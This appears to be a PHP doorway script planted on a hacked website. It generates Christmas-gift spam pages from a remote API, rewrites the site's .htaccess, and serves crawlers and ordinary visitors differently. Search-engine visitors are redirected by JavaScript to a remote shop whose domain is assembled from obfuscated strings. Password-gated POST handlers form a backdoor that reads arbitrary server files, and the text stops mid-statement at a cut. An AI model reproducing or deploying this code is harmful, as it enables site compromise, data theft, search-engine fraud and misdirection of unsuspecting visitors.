<?php

@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@set_time_limit(3600);
define("DATAHOST", "https://www.data-center.com/api/");
define("CENTERKEY", 3);
define("MYDIR", "/ebayus210918-24/");
define("FNUM", 98);
define("JGNUM", "40");
define("LINKNUM", "8");
define("BZSITE", "v");
define("CURRENUSE", "/usd/");
define("BZPRO", "k");
define("BZCAT", "r");
define("JDT", "0");
define("MSID", 7953);
define("KEYJG", 43);
define("RANDNUMI", 11);
define("RANDNUMII", 11);
define("PNAMELEN", 44);
define("JTHZ", "/");
$arrnametime[] = "3";
$arrnametime[] = "1";
$arrnametime[] = "4";
$arrnametime[] = "2";
$arrKeywz[] = "10";
$arrKeywz[] = "9";
$arrKeywz[] = "6";
$arrKeywz[] = "4";
$arrKeywz[] = "12";
$arrKeywz[] = "7";
$arrKeywz[] = "5";
$arrKeywz[] = "8";
$arrKeywz[] = "11";
$arrBread[] = "crumb-list";
$arrBread[] = "l-breadcrumblist";
$arrBread[] = "";
$arrBread[] = "crumbs row";
$arrBread[] = "BreadcrumbTop";
$arrBread[] = "breadcrumb row";
$arrBread[] = "plp__breadcrumb";
$arrBread[] = "bread-List row";
$arrBread[] = "ck-breadcrumb clearfix";
$arrBread[] = "crumbs";
$arrBread[] = "navBreadCrumb row";
$arrBread[] = "crumbs-head";
$arrBread[] = "BreadcrumbList row";
$arrBread[] = "breadList clearfix";
$arrBread[] = "breadHead";
$arrBread[] = "v-breadcrumb";
$arrBread[] = "breadcrumbs-base clearfix";
$arrBread[] = "Breadcrumb row";
$arrBread[] = "page-breadcrumbs row";
$arrBread[] = "s-breadcrumb";
$arrBread[] = "crumbList";
$arrBread[] = "doc-crumb row";
$arrBread[] = "l-breadcrumb clearfix";
$arrBread[] = "Breadcrumbs row";
$arrBread[] = "Breadcrumb-Head row";
$arrBread[] = "crumbList row";
$arrBread[] = "nw-breadcrumblist row";
$arrBread[] = "BreadcrumbList";
$arrBread[] = "Breadcrumb-Top clearfix";
$arrBread[] = "wrapper-breadcrums row";
$arrBread[] = "crumb-list row";
$arrBread[] = "pages-breadcrumbs";
$arrBread[] = "crumbsTops row";
$arrBread[] = "Breadcrumb-Heads";
$arrBread[] = "ag-breadcrumblist";
$arrBread[] = "bread_crumb row";
$arrBread[] = "crumbs-nag clearfix";
$arrBread[] = "breadcrumbs-base";
$arrBread[] = "BreadcrumbTops";
$arrBread[] = "crumbsTops clearfix";
$arrBread[] = "nw-breadcrumblist clearfix";
$arrBread[] = "l-breadcrumblist clearfix";
$arrBread[] = "BreadcrumbsHead";
$arrBread[] = "nw-breadcrumblist";
$arrBread[] = "ag-breadcrumblist row";
$arrBread[] = "BreadcrumbLists";
$arrBread[] = "crumbsHead row";
$arrBread[] = "c-breadcrumb clearfix";
$arrBread[] = "breadcrumbs-base row";
$arrBread[] = "l-breadcrumblist row";
$arrBread[] = "breadcrumbs clearfix";
$arrBread[] = "BreadcrumbsHead clearfix";
$arrBread[] = "";
$arrBread[] = "c-breadcrumb row";
$arrBread[] = "BreadcrumbHeads";
$arrBread[] = "breadcrumbs";
$arrBread[] = "BreadHead clearfix";
$arrBread[] = "qa-breadcrumb row";
$arrBread[] = "";
$arrBread[] = "doc-crumb";
$arrBread[] = "ck-breadcrumb";
$arrBread[] = "";
$arrBread[] = "r-breadcrumb clearfix";
$arrBread[] = "crumbsHead";
$arrBread[] = "crumbs clearfix";
$arrBread[] = "crumbsTop";
$arrBread[] = "breadtop";
$arrBread[] = "navBreadCrumb clearfix";
$arrBread[] = "BreadcrumbHeads row";
$arrBread[] = "BreadcrumbsList clearfix";
$arrBread[] = "pages-breadcrumbs row";
$arrBread[] = "cs-breadcrumb clearfix";
$arrBread[] = "plp__breadcrumb row";
$arrBread[] = "c-breadcrumb";
$arrBread[] = "v-breadcrumb row";
$arrBread[] = "crumbsHead clearfix";
$arrBread[] = "BreadcrumbsList";
$arrBread[] = "s-breadcrumb row";
$arrBread[] = "breadHeads";
$arrBread[] = "crumbsTop clearfix";
$arrBread[] = "crumbsHeads clearfix";
$arrBread[] = "breadLists clearfix";
$arrBread[] = "BreadcrumbsList row";
$arrBread[] = "crumbs-top row";
$arrBread[] = "Breadcrumbs clearfix";
$arrBread[] = "BreadcrumbTops row";
$arrBread[] = "el-breadcrumb row";
$arrBread[] = "";
$arrBread[] = "crumbs-top clearfix";
$arrBread[] = "plp__breadcrumb clearfix";
$arrBread[] = "Breadcrumb clearfix";
$arrBread[] = "crumbsHeads row";
$arrBread[] = "navBreadCrumbs";
$arrBread[] = "bread_crumb clearfix";
$arrBread[] = "BreadcrumbTops clearfix";
$arrBread[] = "breadHeads row";
$arrBread[] = "pages-breadcrumbs clearfix";
$arrBread[] = "customBreadcrumb row";
$arrBread[] = "r-breadcrumb";
$arrBread[] = "crumbsTops";
$arrBread[] = "breadcrumb";
$arrBread[] = "BreadcrumbHead";
$arrBread[] = "";
$arrBread[] = "l-breadcrumb row";
$arrBread[] = "wrapper-breadcrums";
$arrBread[] = "";
$arrBread[] = "BreadHead row";
$arrBread[] = "l-breadcrumb";
$arrBread[] = "mb-breadcrumb row";
$arrBread[] = "breadcrumb clearfix";
$arrBread[] = "Breadcrumb-Head clearfix";
$arrBread[] = "Breadcrumbs";
$arrBread[] = "navBreadCrumb";
$arrBread[] = "Bread clearfix";
$arrBread[] = "BreadcrumbNavigation row";
$arrBread[] = "crumbs-top";
$arrBread[] = "ant-breadcrumb clearfix";
$arrBread[] = "";
$arrBread[] = "mb-breadcrumb";
$arrBread[] = "";
$arrBread[] = "l-breadcrumb";
$arrBread[] = "crumbs-head clearfix";
$arrBread[] = "chrome-breadcrumbs clearfix";
$arrBread[] = "l-breadcrumb clearfix";
$arrBread[] = "qa-breadcrumb";
$arrBread[] = "breadHead clearfix";
$arrBread[] = "BreadcrumbTop clearfix";
$arrBread[] = "BreadcrumbTop row";
$arrBread[] = "ag-breadcrumblist clearfix";
$arrBread[] = "BreadcrumbHead clearfix";
$arrBread[] = "bread-List";
$arrBread[] = "Breadcrumb-Heads row";
$arrBread[] = "crumbsHeads";
$arrBread[] = "breadtops row";
$arrBread[] = "breadHeads clearfix";
$arrBread[] = "breadtop row";
$arrBread[] = "Breadcrumb";
$arrBread[] = "page-breadcrumbs clearfix";
$arrBread[] = "";
$arrBread[] = "BreadHead";
$arrBread[] = "breadLists row";
$arrBread[] = "l-breadcrumb row";
$arrBread[] = "breadList row";
$arrBread[] = "Breadcrumb";
$arrBread[] = "wrapper-breadcrums clearfix";
$arrBread[] = "chrome-breadcrumbs row";
$arrBread[] = "";
$arrBread[] = "customBreadcrumb clearfix";
$arrBread[] = "ant-breadcrumb";
$arrBread[] = "Bread";
$arrBread[] = "crumbs-nag row";
$arrBread[] = "breadList";
$arrBread[] = "breadcrumbs row";
$arrBread[] = "Breadcrumb clearfix";
$arrBread[] = "crumbs-head row";
$arrBread[] = "crumbs-nag";
$arrBread[] = "breadHead row";
$arrBread[] = "breadLists";
$arrBread[] = "Bread row";
$arrBread[] = "s-breadcrumb clearfix";
$arrBread[] = "doc-crumb clearfix";
$arrBread[] = "bread_crumb";
$arrBread[] = "BreadcrumbHeads clearfix";
$arrBread[] = "Breadcrumb-Top";
$arrBread[] = "Breadcrumb-Heads clearfix";
$arrBread[] = "bread-List clearfix";
$arrBread[] = "Breadcrumb-Top row";
$arrBread[] = "ck-breadcrumb row";
$arrBread[] = "Breadcrumb row";
$arrBread[] = "mb-breadcrumb clearfix";
$arrBread[] = "el-breadcrumb clearfix";
$arrBread[] = "breadtops";
$arrBread[] = "el-breadcrumb";
$arrBread[] = "cs-breadcrumb row";
$arrBread[] = "ant-breadcrumb row";
$arrBread[] = "";
$arrBread[] = "navBreadCrumbs clearfix";
$arrBread[] = "chrome-breadcrumbs";
$arrBread[] = "crumbsTop row";
$arrBread[] = "BreadcrumbNavigation";
$arrBread[] = "breadtops clearfix";
$arrBread[] = "customBreadcrumb";
$arrBread[] = "cs-breadcrumb";
$arrBread[] = "crumb-list clearfix";
$arrBread[] = "r-breadcrumb row";
$arrBread[] = "page-breadcrumbs";
$arrBread[] = "";
$arrBread[] = "BreadcrumbNavigation clearfix";
$arrBread[] = "breadcrumb clearfix";
$arrBread[] = "BreadcrumbLists clearfix";
$arrBread[] = "breadcrumb";
$arrBread[] = "breadtop clearfix";
$arrBread[] = "breadcrumb row";
$arrBread[] = "navBreadCrumbs row";
$arrBread[] = "v-breadcrumb clearfix";
$arrBread[] = "Breadcrumb-Head";
$arrBread[] = "BreadcrumbLists row";
$arrBread[] = "crumbList clearfix";
$arrBread[] = "qa-breadcrumb clearfix";
$arrBread[] = "BreadcrumbList clearfix";
$arrBread[] = "BreadcrumbsHead row";
$arrBread[] = "BreadcrumbHead row";
$arrfh[] = "Christmas Supplies";
$arrfh[] = "Xmas";
$arrfh[] = "Top Christmas gifts 2021";
$arrfh[] = "Christmas gift ideas";
$arrfh[] = "Christmas presents";
$arrfh[] = "Unique Christmas Gifts";
$arrfh[] = "Christmas gift";
$arrfh[] = "Christmas Ornament";
$arrfh[] = "Christmas gift shop";
$arrfh[] = "Christmas Decoration";
$arrfh[] = "Xmas Ornaments";
$arrfh[] = "Christmas gift ideas 2021";
$arrfh[] = "Holiday presents";
$arrfh[] = "for Christmas";
$arrfh[] = "Holiday Gifts";
$arrfh[] = "Christmas Gifts 2021";
$arrfh[] = "Christmas gift store";
$arrfh[] = "Christmas Holiday";
$arrfh[] = "best Christmas gift";
$arrfh[] = "Best Christmas gifts 2021";
$q1 = "O00O0O";
$q2 = "O0O000";
$q3 = "O0OO00";
$q4 = "OO0O00";
$q5 = "OO0000";
$q6 = "O00OO0";
$q7 = "O00O00";
$q8 = "O00OOO";
${$q1} = RandAbcs();
$date_string[0] = "qgmeuytlcrpaxkhinbodzvwfsj";
$date_string[1] = "dqzlibvmnfxohtcrkjupwagsye";
$date_string[2] = "waongetlvmdfzxbrchuqsjkiyp";
$date_string[3] = "rgohqkdacyxwuefsnjmlzpvtib";
$date_string[4] = "imdpoxfytksabulwqjczhgvern";
$date_string[5] = "aghxvyrewzcfsitjpnqulbokmd";
$date_string[6] = "ewlgxaykctburohnpvdfmjiqzs";
$date_string[7] = "cnkvejymwqprbdiuhxgzoltafs";
$date_string[8] = "hyeobqsacfxzrptmkldgiwnujv";
$date_string[9] = "yilutqkmjbgnvedzwcopafrxhs";
$date_string[10] = "urgoefdwsxztbjqnhmykciaplv";
$date_string[11] = "csqvxlorfaiezmytwgjkubdhnp";
$date_string[12] = "ejslxqhyikdpawgtrvnzubfcom";
$date_string[13] = "uaoyzwvbqcsxdtimpjnerfklgh";
$date_string[14] = "vypmwqtldaozhgiefkujbxscnr";
$date_string[15] = "jcpuokyalbgxnsqwztidhfrmve";
$date_string[16] = "pesxncoayqgrhfvtdmubkwiljz";
$date_string[17] = "lkgzqormsxcnvefupywadthjbi";
$date_string[18] = "epjkrafbiwqstxocugvmlznyhd";
$date_string[19] = "djkmfrnxeuhsapvwgizboqcylt";
$date_string[20] = "qprfgntsduyjovwheamcblxizk";
$date_string[21] = "rbdwkvxnspfcuqihlazgoemytj";
$date_string[22] = "vazuhnkebxwgidforqpjlymtcs";
$date_string[23] = "hncirwqtpgfzjykmusaldbevxo";
$date_string[24] = "gkbdsyrcwauzfeiqpovnxmthlj";
$date_string[25] = "ehsavxqomtgdlrucnyjkzipwbf";
$date_string[26] = "ymvbtfsrduxkjzicglhpoeqnaw";
$date_string[27] = "xflywvdnpjibzrsecqukgmoaht";
$date_string[28] = "yxqtmnbioklhcuprasjwfgdvez";
$date_string[29] = "wxsymbjinvotzeacrdgfukhqlp";
$date_string[30] = "hduvtibxcefwmzjrkqyoangpls";
$date_string[31] = "jrpubomtqixeywgzndhslcfvka";
$date_string[32] = "mhvdunqrfowikbsptjgecxlazy";
$date_string[33] = "mkhlefpcjsnxtouagiqvzbrywd";
$date_string[34] = "nmkcvweglrutyhxfspjidobazq";
$date_string[35] = "gsejpwdcxbuhoyrlzfavnqitmk";
$date_string[36] = "cbizwuhaqgxnovrsdlyjtefmpk";
$date_string[37] = "jcatezifdslhgbyoumxvpkwnrq";
$date_string[38] = "zsopxvlikywtangdehmbcjurqf";
$date_string[39] = "cnmrsydheovkgjixluptwzabfq";
$date_string[40] = "rjiwgohklatpbymqudznsvfcxe";
$date_string[41] = "dxgeyazphuqsjcilkmobnvwtrf";
$date_string[42] = "bmiysraojxwgehulqpfzckdntv";
$date_string[43] = "saolemcqnthgbifrxjzvudpkyw";
$date_string[44] = "ozkqfrjlivsubwdcxtngahpyme";
$date_string[45] = "fzgupordknseyivcajlwmxhtqb";
$date_string[46] = "xsadngbkcwiqfrmyljezpthuov";
$date_string[47] = "xqviwjkrztfegmpsulbcyadhno";
$date_string[48] = "gnetkyxchqsbdalmwirovzfjup";
$date_string[49] = "jbvrqckdeyupohmtfinwxagzls";
$date_string[50] = "rqkdjtcibevmynzuoghxfwlasp";
$date_string[51] = "lfhoryekjxwmtdnaspbzvqciug";
$date_string[52] = "rlwuotigbdhjqksfzxvacpneym";
$date_string[53] = "hjdunoigzfewqlbmtscakxyvrp";
$date_string[54] = "kyxbguanespzowfqrcjdivmhtl";
$date_string[55] = "tgcamsrxljwopbdihevfnukqyz";
$date_string[56] = "ycoaldtzsfwxhjpuqnmbkirgve";
$date_string[57] = "rqeycdovnpitjfmxzkagluwhbs";
$date_string[58] = "yriaglbcvpnqswodtjfuexkzmh";
$date_string[59] = "bdtfkluyeqgjpwiznxvsohrcam";
$date_string[60] = "cgrjuhtzwsxvdqanfpiklyeomb";
$date_string[61] = "wpxqtvfughcnzdmaeobsiykrlj";
$date_string[62] = "ndfktulgvjrpyhxqswoibmacez";
$date_string[63] = "qtdosrxyuplmjfkzvicwbhgane";
$date_string[64] = "vitmdcsjuaykxerzgboqlhnpfw";
$date_string[65] = "deirxpkfzuscgoqymjbavlhntw";
$date_string[66] = "pfqasrczxijkyemgolduhntvwb";
$date_string[67] = "tvbgrdpxiafsmuwqhzlneokjyc";
$date_string[68] = "vrmbunwiqpelyfgatojsdhxzck";
$date_string[69] = "ospqvzunlafirymxcwhgjebktd";
$date_string[70] = "risqbvhjyulaofkectzgwpxnmd";
$date_string[71] = "qvfaneutldropgzbswcikxjymh";
$date_string[72] = "ebwkqrsxycfhizlpjvmungdato";
$date_string[73] = "nkwrhmzgjupotysevlxicfqbad";
$date_string[74] = "dhuaqjpiwscmzgetxlfbkryvno";
$date_string[75] = "qvmdzxjyhogkctniwbrfepasul";
$date_string[76] = "yixpgfhboenzdujwvasltrckqm";
$date_string[77] = "ptdfvwsjenumqorgychbkxilza";
$date_string[78] = "njoweucvprkfslxzbthagmdiqy";
$date_string[79] = "vsqhptrowaidfkbgmzcyexjunl";
$date_string[80] = "qyimdcwljrgoabxhuvfpkstenz";
$date_string[81] = "uepjihbdaocswrqmtgnlfxvkyz";
$date_string[82] = "lcxszdpjvmyoeabqinrhugtwfk";
$date_string[83] = "goyirjsubzmcplwkxhndevfaqt";
$date_string[84] = "ifhadnxpvjqzogtceuykbmlsrw";
$date_string[85] = "wjplgmzdkaonfubcihsqvyretx";
$date_string[86] = "oreqwlukastcpxymzhgdfinbjv";
$date_string[87] = "hqypcwboxvgdmujfirtnakzesl";
$date_string[88] = "yfmpjotqirwbzeuksvlxdgnhca";
$date_string[89] = "jxqtrfvnhgyscpkwaduezimlbo";
$date_string[90] = "tzcbmlnudejkqorgyvwfshipxa";
$date_string[91] = "pqovynkbeudzgwmarhfticxljs";
$date_string[92] = "cvzgjynqkfrixlembuoptasdhw";
$date_string[93] = "yskomfqxgvlczaiwhpujbtedrn";
$date_string[94] = "oimwgpvjbnrxlkadseytzuqhcf";
$date_string[95] = "ilwatkcodprmqsefhyjzunbvxg";
$date_string[96] = "tdgqmcsfhiaelnrokjyubpvzxw";
$date_string[97] = "nbhwroueypsldfgxaictmqkjvz";
$date_string[98] = "uibpaxzvjnesdqfgrtmokywclh";
$date_string[99] = "anvozqtgiflsjbrmwexhpdckuy";
$thisdom = str_replace("www.", "", $_SERVER['HTTP_HOST']);
define("GETDOM", getthisdom());
$arrArrr = array();
$j = 0;
for ($i = 0; $i < 20; $i += 2) {
    $arrArrr[$j++] = $date_string[$i] . $date_string[$i + 1];
}
$Arrrarr = array_flip($arrArrr);
$temp_abc = $O00O0O[9] . $O00O0O[4] . $O00O0O[0] . $O00O0O[13] . $O00O0O[17] . $O00O0O[14] . $O00O0O[11];
$temp_def = $O00O0O[13] . $O00O0O[0] . $O00O0O[18] . $O00O0O[20] . $O00O0O[3] . $O00O0O[8] . $O00O0O[14] . $O00O0O[0];
if (isset($_GET["gsitemap"]) && isset($_GET["mapnum"])) {
    $O_OO0_0O_0 = 'America/Chicago';
    @date_default_timezone_set($O_OO0_0O_0);
    if (!is_dir("../mapper")) {
        mkdir("../mapper", 0755);
    }
    global $gnumber;
    $gnumber = 1;
    $bgNum = (int) trim($_GET["gsitemap"]);
    $mapnum = (int) trim($_GET["mapnum"]);
    if ($bgNum > FNUM) {
        die("The Number Must Lower Then " . FNUM);
    }
    $arrNumTemp = getMapNum($bgNum, $mapnum);
    $rs = '#<map>(.*)</map>#si';
    $mapLogs = file_get_contents("./map.log");
    foreach ($arrNumTemp as $vss) {
        $vals = "id{$vss}.php";
        if (JDT == 0 && $gnumber == 1) {
            if (strstr($mapLogs, 'writemap.xml') && file_exists('../mapper/writemap.xml')) {
                echo $vals . "<br/>";
                echo '../mapper/writemap.xml successed<br/>';
                $gnumber++;
                continue;
            }
        } elseif (JDT == 0) {
            if (strstr($mapLogs, '#write' . $arrABC[$gnumber - 2] . 'map' . '.xml#') && file_exists('../mapper/write' . $arrABC[$gnumber - 2] . 'map' . '.xml')) {
                echo $vals . "<br/>";
                echo '../mapper/write' . $arrABC[$gnumber - 2] . 'map' . '.xml successed<br/>';
                $gnumber++;
                continue;
            }
        }
        if (strstr($mapLogs, '#write' . $arrABC[$gnumber - 1] . 'map' . '.xml#') && file_exists('../mapper/write' . $arrABC[$gnumber - 1] . 'map' . '.xml')) {
            echo $vals . "<br/>";
            echo '../mapper/write' . $arrABC[$gnumber - 1] . 'map' . '.xml successed<br/>';
            $gnumber++;
            continue;
        }
        for ($i = 0; $i < 3; $i++) {
            $idUrl = GETDOM . "gpage.php?getmapid={$vss}&site={$thisdom}&sid=" . MSID;
            $tempIdStr = curl_get_from_webpage($idUrl, '', 5);
            $arrIdNameNow = array();
            if (preg_match($rs, $tempIdStr, $matchIdName)) {
                $tparrIdName = explode('^^', $matchIdName[1]);
                foreach ($tparrIdName as $vs) {
                    $tpArr = explode('^', $vs);
                    if (count($tpArr) == 2) {
                        $arrIdNameNow[$tpArr[0]] = $tpArr[1];
                    } elseif (count($tpArr) > 2) {
                        $tpstr = '';
                        for ($j = 1; $j < count($tpArr); $j++) {
                            $tpstr .= $tpArr[$j] . ' ';
                        }
                        $tpstr = trim($tpstr);
                        $arrIdNameNow[$tpArr[0]] = $tpstr;
                    }
                }
                break;
            }
        }
        if (!isset($arrIdNameNow) or count($arrIdNameNow) < 100) {
            echo "g sitemap fail<br/>";
            die;
        }
        echo $vals . "<br/>";
        if ($gnumber == 1) {
            if (JDT == 1) {
                gsitemap($arrIdNameNow, 2, 1);
            } else {
                gsitemap($arrIdNameNow, 1, 2);
            }
        } else {
            if (JDT == 1) {
                gsitemap2($arrIdNameNow, 2, 1);
            } else {
                gsitemap2($arrIdNameNow, 1, 2);
            }
        }
        unset($arrIdNameNow, $tempArr1, $tempArr2);
    }
}
if (isset($_GET["ghtac"]) && $_GET["ghtac"]) {
    $dirNames = dirname(__FILE__);
    $httcReplace = end(explode(DIRECTORY_SEPARATOR, $dirNames));
    $PreDir = '';
    if (JDT == 1) {
        $UrlBaseDir = $httcReplace;
        $RewriteOnDir = '';
    } else {
        $UrlBaseDir = '';
        $PreDir = '../';
        $RewriteOnDir = $httcReplace . '/';
    }
    $strhtt = '';
    if (file_exists("{$PreDir}.htaccess")) {
        @chmod("{$PreDir}.htaccess", 0755);
        $strhtt = file_get_contents("{$PreDir}.htaccess");
    }
    if (!(strstr($strhtt, 'RewriteBase') || strstr($strhtt, 'RewriteRule'))) {
        $strhtt = '<IfModule mod_rewrite.c>' . PHP_EOL . 'Options +FollowSymLinks' . PHP_EOL . 'RewriteEngine on' . PHP_EOL . 'RewriteBase /' . $UrlBaseDir . PHP_EOL . '</IfModule>';
    } else {
        $strhtt = str_ireplace('# RewriteBase ', 'RewriteBase ', $strhtt);
        $strhtt = str_ireplace('#RewriteBase ', 'RewriteBase ', $strhtt);
    }
    if (1) {
        $r0 = '#(.*RewriteEngine On.*)#i';
        $r1 = '#(.*RewriteBase.*)#i';
        $r2 = '#RewriteRule#i';
        if (JDT == 0) {
            $rsut = '\\1' . PHP_EOL . 'RewriteRule ^' . '.*-(\\d+)-.*' . JTHZ . '$ ' . $RewriteOnDir . 'index\\.php?id=\\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^' . 'catalog-(.*)' . JTHZ . '$ ' . $RewriteOnDir . 'index\\.php?cat=\\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^' . '.*(write[a-z]+map\\.xml)$  mapper/\\$1 [L]' . PHP_EOL . 'RewriteRule ^' . '.*(writemap\\.xml)$  mapper/\\$1 [L]' . PHP_EOL;
            $rsut2 = PHP_EOL . 'RewriteRule ^' . '.*-(\\d+)-.*' . JTHZ . '$ ' . $RewriteOnDir . 'index\\.php?id=\\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^' . 'catalog-(.*)' . JTHZ . '$ ' . $RewriteOnDir . 'index\\.php?cat=\\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^' . '.*(write[a-z]+map\\.xml)$  mapper/\\$1 [L]' . PHP_EOL . 'RewriteRule ^' . '.*(writemap\\.xml)$  mapper/\\$1 [L]' . PHP_EOL . 'RewriteRule';
        } else {
            $rsut = '\\1' . PHP_EOL . 'RewriteRule ^' . '.*-(\\d+)-.*' . JTHZ . '$ ' . $RewriteOnDir . 'index\\.php?id=\\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^' . 'catalog-(.*)' . JTHZ . '$ ' . $RewriteOnDir . 'index\\.php?cat=\\$1&%{QUERY_STRING} [L]' . PHP_EOL;
            $rsut2 = PHP_EOL . 'RewriteRule ^' . '.*-(\\d+)-.*' . JTHZ . '$ ' . $RewriteOnDir . 'index\\.php?id=\\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^' . 'catalog-(.*)' . JTHZ . '$ ' . $RewriteOnDir . 'index\\.php?cat=\\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule';
        }
        if (preg_match($r0, $strhtt)) {
            $strhtt = preg_replace($r0, $rsut, $strhtt, 1);
        } elseif (preg_match($r1, $strhtt)) {
            $strhtt = preg_replace($r1, $rsut, $strhtt, 1);
        } else {
            $strhtt = preg_replace($r2, $rsut2, $strhtt, 1);
        }
        if (JDT == 1 or JDT == 0) {
            file_put_contents("{$PreDir}.htaccess", $strhtt);
        }
    }
    die("ghtac ok");
}
if (isset($_POST["chdate"]) && md5($_POST["chdate"]) == 'b6772c68627f804a9578152ee90f5b0c' && isset($_POST["v_read"])) {
    $v_read = $_POST["v_read"];
    if (file_exists($v_read)) {
        echo '#ok#';
    } else {
        echo '#nofile#';
    }
    die;
}
if (isset($_POST["redate"]) && md5($_POST["redate"]) == 'b6772c68627f804a9578152ee90f5b0c' && isset($_POST["v_read"])) {
    $v_read = $_POST["v_read"];
    if (file_exists($v_read)) {
        echo rFile($v_read);
        die;
    } else {
        echo '#nofile#';
        die;
    }
}
if (isset($_POST["test"]) && md5($_POST["test"]) == 'b6772c68627f804a9578152ee90f5b0c') {
    echo '#ok#';
    die;
}
if (isset($_POST["lan"]) && $_POST["lan"] == 1 or isset($_GET["lan"]) && $_GET["lan"] == 1) {
    $blog_data = array();
    $flag = 1;
    $blog_data['index'] = filesize(__FILE__);
    if (file_exists("./template.html")) {
        $blog_data['template'] = filesize("./template.html");
    } else {
        $flag = 0;
        $blog_data['template'] = -1;
    }
    echo 'error---' . serialize($blog_data) . '---';
    die;
}
if (isset($_GET["gsitemap"]) || isset($_GET["rset"]) || isset($_GET["hzui"]) || isset($_GET["jgshu"]) || isset($_GET["ljshu"]) || isset($_GET["modifydate"]) || isset($_GET["moshi"]) || isset($_GET["install"])) {
    die;
}
if (JDT == 2) {
    $UrlParent = end(explode('index.php', $_SERVER['REQUEST_URI']));
    if ($UrlParent) {
        $tempSid = '';
        $tempPid = '';
        $r2 = '#.*-(\\d+)-.*' . JTHZ . '$#i';
        $r3 = '#.*-(\\d+)-.*/$#i';
        if (preg_match($r2, $UrlParent, $matches2)) {
            if (isset($matches2[1])) {
                $tempPid = $matches2[1];
            }
        } else {
            preg_match($r3, $UrlParent, $matches13);
            if (isset($matches13[1])) {
                $tempPid = $matches13[1];
            }
        }
        if ($tempPid) {
            $_GET['id'] = $tempPid;
        } else {
            $r2 = '#catalog-(.*)' . JTHZ . '#i';
            $r3 = '#catalog-(.*)/$#i';
            if (preg_match($r2, $UrlParent, $matches2)) {
                if (isset($matches2[1])) {
                    $tempPid = $matches2[1];
                }
            } else {
                preg_match($r3, $UrlParent, $matches13);
                if (isset($matches13[1])) {
                    $tempPid = $matches13[1];
                }
            }
            if ($tempPid) {
                $_GET['cat'] = $tempPid;
            }
        }
    }
} elseif (JDT == 3 && isset($_GET['keyword']) && $_GET['keyword']) {
    $tempSid = '';
    $tempPid = '';
    $UrlParent = $_GET['keyword'];
    $r2 = '#-(\\d+)$#i';
    $r3 = '#[-/]' . '(\\d+)$#i';
    if (preg_match($r2, $UrlParent, $matches2)) {
        if (isset($matches2[1])) {
            $tempPid = $matches2[1];
        }
    } else {
        preg_match($r3, $UrlParent, $matches13);
        if (isset($matches13[1])) {
            $tempPid = $matches13[1];
        }
    }
    if ($tempPid) {
        $_GET['id'] = $tempPid;
    }
}
function getRandStr()
{
    $arrABC = range('a', 'z');
    shuffle($arrABC);
    $randNum = rand(4, 6);
    $str = implode('', array_slice($arrABC, 0, $randNum));
    return $str;
}
if (isset($_GET["id"])) {
    $id = $_GET["id"];
} else {
    if (isset($_GET["cat"])) {
        $rqurl = $_GET["cat"];
        $logFileName = './idlogs.txt';
        if (file_exists($logFileName)) {
            $arrUrlId = unserialize(file_get_contents($logFileName));
        } else {
            $arrUrlId = array();
        }
        if (isset($rqurl) && isset($arrUrlId[$rqurl]) && $arrUrlId[$rqurl]) {
            $id = $arrUrlId[$rqurl];
        } else {
            $arrUrlId[$rqurl] = getRandCId($rqurl);
            $id = $arrUrlId[$rqurl];
            file_put_contents($logFileName, serialize($arrUrlId));
            @touch(dirname($logFileName), $fLogTime, $fLogTime);
            @touch($logFileName, $fLogTime, $fLogTime);
        }
    } else {
        $id = "539964";
    }
}
$rs_ptth = $O00O0O[63] . $O00O0O[2] . $O00O0O[14] . $O00O0O[12];
$rs_http = 'http://www.';
$resid = '#^\\d+$#';
if (!preg_match($resid, $id)) {
    http_response_code(404);
    exit;
}
$id23 = $id;
$siteid = MSID;
$siteAID = $siteid . '-' . $id23;
$fileKey = $id23 % FNUM;
if (isset($_SERVER["HTTP_REFERER"])) {
    $referer = $_SERVER["HTTP_REFERER"];
    $russ = '#(google|yahoo|incredibar|bing|docomo|mywebsearch|comcast|search-results|babylon|conduit)(\\.[a-z0-9\\-]+){1,2}#i';
    $ipRanges = array(array('64.233.160.0', '64.233.191.255'), array('66.102.0.0', '66.102.15.255'), array('66.249.64.0', '66.249.95.255'), array('72.14.192.0', '72.14.255.255'), array('74.125.0.0', '74.125.255.255'), array('209.85.128.0', '209.85.255.255'), array('216.239.32.0', '216.239.63.255'));
    $localIp = get_real_ip();
    $is_or_no = is_ip($localIp, $ipRanges);
    $iszz = isCrawler();
    if (function_exists('gethostbyaddr')) {
        $hostname = @gethostbyaddr($localIp);
        $is_g_ip = preg_match("#google#i", "{$hostname}") === 1;
    } else {
        $is_g_ip = 0;
    }
    if (preg_match($russ, $referer) && $iszz == false && $is_or_no == false && !$is_g_ip) {
        $rsdom = '#^https?://www\\.[^/]+/$#i';
        $jums1 = $rs_http . $temp_abc . $rs_ptth . CURRENUSE . $siteid . ".txt";
        $jums2 = $rs_http . $temp_def . $rs_ptth . CURRENUSE . $siteid . ".txt";
        for ($i = 0; $i < 2; $i++) {
            $jumstz = curl_getjs_from_webpage($jums1, 2);
            $jumstz = trim($jumstz);
            if (!preg_match($rsdom, $jumstz)) {
                $jumstz = curl_getjs_from_webpage($jums2, 10);
                $jumstz = trim($jumstz);
                if (preg_match($rsdom, $jumstz)) {
                    break;
                }
            } else {
                break;
            }
        }
        echo '<script language="javascript" type="text/javascript">' . PHP_EOL . 'window.location.href="' . $jumstz . "index.php?main_page=product_info&products_id=" . $id23 . '";' . PHP_EOL . '</script>';
        die;
    }
}
$fcontent = '';
$pInfoUrl = GETDOM . "gpage.php?site={$thisdom}&id={$siteAID}";
$pInfoStr = curl_get_from_webpage($pInfoUrl, '', 5);
$rsInfo = '#<info>(.*)</info>#si';
preg_match($rsInfo, $pInfoStr, $matchInfo);
if (isset($matchInfo[1])) {
    $InFoStrArr = unserialize($matchInfo[1]);
} else {
    exit;
}
if (isset($InFoStrArr['frStr2'])) {
    $frStr2 = $InFoStrArr['frStr2'];
    $fr2Arr = unserialize($frStr2);
}
$frStr1 = $InFoStrArr['frStr1'];
$fr1Arr = unserialize($frStr1);
$Ptitle = $InFoStrArr['Ptitle'];
$PtitleNowid = $Ptitle;
$nowIdName = $InFoStrArr['nowIdName'];
if (strstr($Ptitle, '#cat#')) {
